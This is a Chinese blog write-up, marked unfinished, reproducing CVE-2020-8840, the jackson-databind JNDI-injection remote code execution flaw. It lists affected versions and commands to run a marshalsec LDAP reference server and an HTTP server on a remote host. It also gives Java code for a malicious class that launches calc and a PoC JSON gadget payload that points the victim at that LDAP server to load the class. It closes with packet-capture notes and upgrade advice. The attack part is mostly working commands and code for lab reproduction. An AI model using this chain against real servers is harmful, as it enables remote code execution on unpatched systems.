FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现 未完成

FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
  • 修复建议
  • 总结

漏洞名称

漏洞描述

受影响版本的jackson-databind中缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,导致攻击者可通过JNDI注入的方式对此漏洞进行利用,成功时可以实现远程代码执行。

影响版本

2.0.0 <= FasterXML jackson-databind <= 2.9.10.2
不包括:
FasterXML jackson-databind = 2.8.11.5
FasterXML jackson-databind = 2.9.10.3

漏洞复现

环境搭建

受害者IP:本地vscode环境复现;192.168.63.1
服务器IP:8.*.*.*

在服务器使用python3启动http服务,并使用marshalsec-0.0.3-SNAPSHOT-all.jar,启动ldap服务 这边使用的是marshalsec。

工具链接

https://github.com/mbechler/marshalsec

启动http服务2222端口

python3 -m SimpleHTTPServer 2222

启动ldap服务1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.\*.\*.\*:8080/#Exploit 1389

FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现 未完成_第1张图片

漏洞利用

将Evil恶意类放在启动ladp的路径下,访问http://8.*.*.*:2222可以下载恶意类,使用javac Evil.java编译成Evil.class

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

下载环境所需要的jar包,将jar包放在vscode环境中,

https://github.com/fairyming/CVE-2020-8840/tree/master/lib

创建Poc.java,这里的IP端口指定LDAP的IP和端口,非服务器的IP和端口,我这里将LDAP和http服务放在同一服务器,所指定的ip是同一个IP:8.*.*.*。

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://8.*.*.*:1389/Evil\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

执行java代码,弹出计算器,攻击成功。
FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现 未完成_第2张图片
对其进行wireshark抓包,本地对服务器进行了http协议访问。

FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现 未完成_第3张图片

访问了Evil.class,加载了恶意类执行命令calc。
FasterXML Jackson-databind远程代码执行漏洞 CVE-2020-8840 已亲自复现 未完成_第4张图片
进行了http和TCP的流量交互
在这里插入图片描述

原本的目的是想抓包看下是怎么请求的恶意类以便于在burp中打入payload,但是抓包后能力有限还是一无所获,未搞出在burp中的payload,后续继续搞,2023-12-27.坐牢

修复建议

FasterXML jackson-databind远程代码执行漏洞的补丁—请关注厂商的主页,升级至 2.10.0 及更高版本
补丁链接:https://github.com/FasterXML/jackson-databind

总结

你可能感兴趣的:(FasterXML,apache,网络安全)